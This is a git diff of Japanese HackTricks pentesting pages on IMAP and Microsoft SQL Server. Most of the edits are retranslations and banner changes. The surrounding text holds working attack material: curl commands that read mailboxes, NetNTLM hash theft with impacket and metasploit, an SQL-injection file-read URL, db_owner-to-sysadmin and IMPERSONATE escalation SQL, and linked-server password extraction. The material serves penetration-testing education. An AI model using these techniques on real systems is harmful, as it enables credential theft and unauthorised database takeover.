* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,22 +6,30 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出してください。**
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
## Internet Message Access Protocol
|
||||
**Try Hard Security Group**
|
||||
|
||||
**Internet Message Access Protocol (IMAP)**は、ユーザーが**どこからでも電子メールメッセージにアクセス**できるように設計されています。主にインターネット接続を介して行われます。基本的に、電子メールは**サーバーに保持**され、個人のデバイスにダウンロードおよび保存されることはありません。つまり、電子メールにアクセスまたは読み取りするときは、**サーバーから直接**行われます。この機能により、**複数のデバイス**から電子メールを確認できる便利さが提供され、使用するデバイスに関係なくメッセージが見逃されることはありません。
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## インターネットメッセージアクセスプロトコル
|
||||
|
||||
**インターネットメッセージアクセスプロトコル(IMAP)**は、ユーザーが**どこからでも電子メールメッセージにアクセス**できるように設計されています。基本的に、電子メールは**サーバーに保持**され、個人のデバイスにダウンロードおよび保存されることはありません。つまり、電子メールにアクセスまたは読み取りが行われると、それは**直接サーバーから**行われます。この機能により、**複数のデバイス**から電子メールを確認できる便利さが提供され、どのデバイスを使用してもメッセージが見逃されることはありません。
|
||||
|
||||
デフォルトでは、IMAPプロトコルは2つのポートで動作します:
|
||||
|
||||
* **ポート143** - これはデフォルトのIMAP非暗号化ポートです
|
||||
* **ポート993** - これはIMAPを安全に使用して接続する場合に使用するポートです
|
||||
- **ポート143** - これはデフォルトのIMAP非暗号化ポートです
|
||||
- **ポート993** - これはIMAPを安全に使用して接続する場合に使用するポートです
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
|
@ -103,17 +111,17 @@ apt install evolution
|
|||
|
||||
### CURL
|
||||
|
||||
[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)を使用すると基本的なナビゲーションが可能ですが、ドキュメントには詳細が少ないため、正確な詳細を確認するには[ソース](https://github.com/curl/curl/blob/master/lib/imap.c)をチェックすることをお勧めします。
|
||||
[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)を使用すると、基本的なナビゲーションが可能ですが、ドキュメントには詳細が少ないため、正確な詳細を確認するには[ソース](https://github.com/curl/curl/blob/master/lib/imap.c)をチェックすることをお勧めします。
|
||||
|
||||
1. メールボックスのリスト表示(imapコマンド `LIST "" "*"`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
2. メールボックス内のメッセージをリストアップする(imapコマンド `SELECT INBOX` 、そして `SEARCH ALL` を使用)
|
||||
2. メールボックス内のメッセージをリストアップする(imapコマンド `SELECT INBOX` そして `SEARCH ALL`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
この検索の結果は、メッセージインデックスのリストです。
|
||||
検索の結果、メッセージのインデックスのリストが表示されます。
|
||||
|
||||
より複雑な検索条件を指定することも可能です。例: メール本文にパスワードが含まれる下書きを検索する場合:
|
||||
```bash
|
||||
|
@ -121,18 +129,18 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
|||
```
|
||||
A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/).
|
||||
|
||||
3. メッセージのダウンロード(imapコマンド `SELECT Drafts` および `FETCH 1 BODY[]`)
|
||||
3. メッセージのダウンロード(imapコマンド `SELECT Drafts` そして `FETCH 1 BODY[]`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
メールのインデックスは、検索操作から返されたインデックスと同じになります。
|
||||
|
||||
また、`UID`(ユニークID)を使用してメッセージにアクセスすることも可能ですが、検索コマンドを手動でフォーマットする必要があるため、少し使い勝手が悪いです。例:
|
||||
`UID`(ユニークID)を使用してメッセージにアクセスすることも可能ですが、検索コマンドを手動でフォーマットする必要があるため、それほど便利ではありません。例:
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
また、メッセージの一部だけをダウンロードすることも可能です。たとえば、最初の5つのメッセージの件名と送信者をダウンロードすることができます(`-v`を使用して件名と送信者を表示する必要があります):
|
||||
また、メッセージの一部だけをダウンロードすることも可能です。例えば、最初の5つのメッセージの件名と送信者をダウンロードすることができます(`-v`は件名と送信者を表示するために必要です):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
|
@ -148,7 +156,13 @@ done
|
|||
* `port:143 CAPABILITY`
|
||||
* `port:993 CAPABILITY`
|
||||
|
||||
## HackTricks 自動コマンド
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 143,993 #Comma separated if there is more than one.
|
||||
|
@ -180,14 +194,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,18 +7,26 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)から:
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server)から:
|
||||
|
||||
> **Microsoft SQL Server**は、Microsoftによって開発された**リレーショナルデータベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品であり、これらのアプリケーションは、同じコンピューター上またはネットワークを介して別のコンピューター上(インターネットを含む)で実行される場合があります。
|
||||
> **Microsoft SQL Server**は、Microsoftによって開発された**リレーショナルデータベース**管理システムです。データベースサーバーとして、他のソフトウェアアプリケーションからのデータの格納と取得を主な機能とするソフトウェア製品であり、これらのアプリケーションは同じコンピューター上またはネットワーク(インターネットを含む)上の別のコンピューターで実行される可能性があります。
|
||||
|
||||
**デフォルトポート:** 1433
|
||||
```
|
||||
|
@ -26,10 +34,10 @@ HackTricksをサポートする他の方法:
|
|||
```
|
||||
### **デフォルトのMS-SQLシステムテーブル**
|
||||
|
||||
* **masterデータベース**: このデータベースはSQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため重要です。
|
||||
* **masterデータベース**: このデータベースは、SQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため重要です。
|
||||
* **msdbデータベース**: SQL Serverエージェントは、アラートやジョブのスケジューリングを管理するためにこのデータベースを利用します。
|
||||
* **modelデータベース**: SQL Serverインスタンス上のすべての新しいデータベースの設計図として機能し、サイズ、照合順序、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
|
||||
* **Resourceデータベース**: SQL Serverに付属するシステムオブジェクトが格納されている読み取り専用データベースです。これらのオブジェクトはResourceデータベースに物理的に格納されていますが、すべてのデータベースのsysスキーマで論理的に表示されます。
|
||||
* **Resourceデータベース**: SQL Serverに付属するシステムオブジェクトが格納される読み取り専用データベースです。これらのオブジェクトはResourceデータベースに物理的に格納されていますが、すべてのデータベースのsysスキーマで論理的に表示されます。
|
||||
* **tempdbデータベース**: 一時的なオブジェクトや中間結果セットのための一時的なストレージ領域として機能します。
|
||||
|
||||
|
||||
|
@ -150,11 +158,11 @@ SELECT * FROM sysusers
|
|||
- **データベース** – データベースロール、アプリケーションロール、スキーマ、証明書、フルテキストカタログ、ユーザなどが含まれます。
|
||||
- **スキーマ** – テーブル、ビュー、プロシージャ、関数、シノニムなどが含まれます。
|
||||
|
||||
2. **権限:** SQL Serverのセキュアブルに関連付けられた権限は、ALTER、CONTROL、CREATEなどが主体に付与されることがあります。権限の管理は以下の2つのレベルで行われます:
|
||||
- **サーバレベル**ではログインを使用します。
|
||||
- **データベースレベル**ではユーザを使用します。
|
||||
2. **権限:** SQL Serverセキュアブルに関連付けられた権限は、ALTER、CONTROL、CREATEなどの権限がプリンシパルに付与されることがあります。権限の管理は次の2つのレベルで行われます:
|
||||
- **サーバレベル**ではログインを使用します
|
||||
- **データベースレベル**ではユーザを使用します
|
||||
|
||||
3. **主体:** この用語は、セキュアブルに権限が付与されるエンティティを指します。主体には主にログインとデータベースユーザが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を備えたロールにログインやユーザを含めることによって行われます。
|
||||
3. **プリンシパル:** この用語は、セキュアブルに権限が付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を備えたロールにログインやユーザを含めることによって行われます。
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
|
@ -179,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### OSコマンドの実行
|
||||
|
||||
{% hint style="danger" %}
|
||||
コマンドを実行できるようにするには、**`xp_cmdshell`**が**有効**になっているだけでなく、**`xp_cmdshell`ストアドプロシージャに対するEXECUTE権限**も必要です。誰が(sysadmins以外で)**`xp_cmdshell`**を使用できるかは次のコマンドで確認できます:
|
||||
OSコマンドを実行するためには、**`xp_cmdshell`**が**有効**であるだけでなく、**`xp_cmdshell`ストアドプロシージャに対するEXECUTE権限**も必要です。誰が(sysadminsを除く)**`xp_cmdshell`**を使用できるかは、次のコマンドで確認できます:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -227,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
|
|||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
これらのMSSQL関数を実行する権限を持っているかどうか(システム管理者以外)を確認できます:
|
||||
次のMSSQL関数を実行する権限を持っているかどうかを確認できます(システム管理者以外)。
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -236,8 +244,8 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**NetNTLMハッシュを盗む**ことが可能な**responder**や**Inveigh**などのツールを使用します。\
|
||||
これらのツールの使用方法は次の場所で確認できます:
|
||||
**NetNTLMハッシュを盗む**ことが可能な**responder**や**Inveigh**などのツールを使用することができます。\
|
||||
これらのツールの使用方法は以下で確認できます:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
@ -245,7 +253,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### MSSQL信頼リンクの悪用
|
||||
|
||||
この機能を悪用する方法についての詳細は、[**この投稿**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を参照してください:**
|
||||
[**この投稿**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を読んで、この機能を悪用する方法について詳細を見つけてください:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -253,7 +261,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### **ファイルの書き込み**
|
||||
|
||||
`MSSQL`を使用してファイルを書き込むには、管理者権限が必要な[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を有効にし、その後、ファイルを作成するための一連のストアドプロシージャを実行する必要があります。
|
||||
`MSSQL`を使用してファイルを書き込むには、管理者権限が必要な[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を有効にし、その後、ファイルを作成するための一部のストアドプロシージャを実行する必要があります。
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -290,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
|||
|
||||
MSSQLを使用すると、**Pythonおよび/またはRのスクリプトを実行**できる場合があります。これらのコードは、**xp\_cmdshell**を使用してコマンドを実行するユーザーとは**異なるユーザー**によって実行されます。
|
||||
|
||||
例として、**'R'**で _"Hellow World!"_ **を実行しようとするが、動作しない**場合の例:
|
||||
例として、**'R'**で _"Hellow World!"_ を実行しようとしたが**動作しない**場合の例:
|
||||
|
||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||
|
||||
|
@ -343,13 +351,14 @@ EXEC sp_helprotect 'xp_regwrite';
|
|||
|
||||
### RCEの他の方法
|
||||
|
||||
[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加など、コマンドの実行を取得するための他の方法があります。
|
||||
[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加など、コマンドの実行を取得する他の方法があります。
|
||||
|
||||
|
||||
## MSSQL特権昇格
|
||||
|
||||
### db_ownerからsysadminへ
|
||||
|
||||
**通常のユーザー**が**`sa`**などの**管理者が所有するデータベース**に対して**`db_owner`**ロールを与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの権限を悪用して**特権昇格**を行うことができます。なぜなら、そこで作成された**ストアドプロシージャ**は所有者(**管理者**)として**実行**できるからです。
|
||||
**通常のユーザー**が**`db_owner`**ロールを与えられ、**管理者が所有するデータベース**(たとえば**`sa`**)に対してそのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの権限を悪用して**特権昇格**を行うことができます。なぜなら、そこで作成された**ストアドプロシージャ**が所有者(**管理者**)として**実行**できるからです。
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -393,9 +402,9 @@ msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
|||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### 他のユーザーのなりすまし
|
||||
### 他のユーザーへのなりすまし
|
||||
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があります。**この権限を持つ実行ユーザーは、別のユーザーやログインの権限を引き継ぐことができます**。この状態はリセットされるかセッションが終了するまで続きます。
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行ユーザーが別のユーザーやログインの権限を引き継ぐことができます**。この状態はリセットされるかセッションが終了するまで続きます。
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
|
@ -424,7 +433,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
この攻撃は、**metasploit** モジュールを使用して実行することができます。
|
||||
この攻撃は、**metasploit**モジュールを使用して実行することができます。
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
|
@ -439,21 +448,21 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## SQL Serverリンクサーバーからパスワードを抽出する
|
||||
攻撃者はSQL ServerリンクサーバーのパスワードをSQL Instancesから抽出し、それを平文で取得することができます。これにより、攻撃者はターゲット上でより大きな立場を獲得するために使用できるパスワードを取得します。
|
||||
攻撃者はSQL ServerリンクサーバーのパスワードをSQL Instancesから抽出し、それを平文で取得することができます。これにより、攻撃者はターゲット上でより大きな足場を獲得するために使用できるパスワードを取得します。
|
||||
リンクサーバーのために保存されたパスワードを抽出および復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract_linked_server_passwords)で見つけることができます。
|
||||
|
||||
この攻撃を実行するためには、いくつかの要件と構成が必要です。
|
||||
まず第一に、マシンで管理者権限を持っているか、SQL Serverの構成を管理する権限を持っている必要があります。
|
||||
このエクスプロイトを動作させるためには、いくつかの要件と構成が必要です。
|
||||
まず第一に、マシンで管理者権限を持っているか、SQL Server構成を管理できる能力が必要です。
|
||||
|
||||
権限を検証した後、以下の3つの構成を行う必要があります:
|
||||
1. SQL ServerインスタンスでTCP/IPを有効にすること;
|
||||
2. スタートアップパラメータを追加すること。この場合、追加されるトレースフラグは-T7806です。
|
||||
3. リモート管理接続を有効にすること。
|
||||
1. SQL ServerインスタンスでTCP/IPを有効にする。
|
||||
2. スタートアップパラメータを追加する。この場合、追加されるトレースフラグは-T7806です。
|
||||
3. リモート管理接続を有効にする。
|
||||
|
||||
これらの構成を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)に必要なスクリプトがあります。
|
||||
構成の各ステップごとにPowerShellスクリプトがあるだけでなく、リポジトリには構成スクリプトとパスワードの抽出と復号化を組み合わせた完全なスクリプトもあります。
|
||||
|
||||
この攻撃に関する詳細情報については、次のリンクを参照してください:
|
||||
詳細については、次の攻撃に関するリンクを参照してください:
|
||||
[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
@ -482,10 +491,17 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
|
|||
* [高度なMSSQLインジェクショントリック](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
* [SQL Serverストアドプロシージャのハッキング - パート1 - 信頼できないデータベース](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [SQL Serverストアドプロシージャのハッキング - パート2 - ユーザー偽装](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [Metasploitを使用してSQL Serverを介してSMBリレーアタックを実行する方法](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [Metasploitを使用してSQL Server経由でSMBリレーアタックを実行する方法](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [SQL Serverでレジストリを操作する方法](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
**Try Hard Security Group**
|
||||
|
||||
## HackTricks自動コマンド
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -543,14 +559,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**。**
|
||||
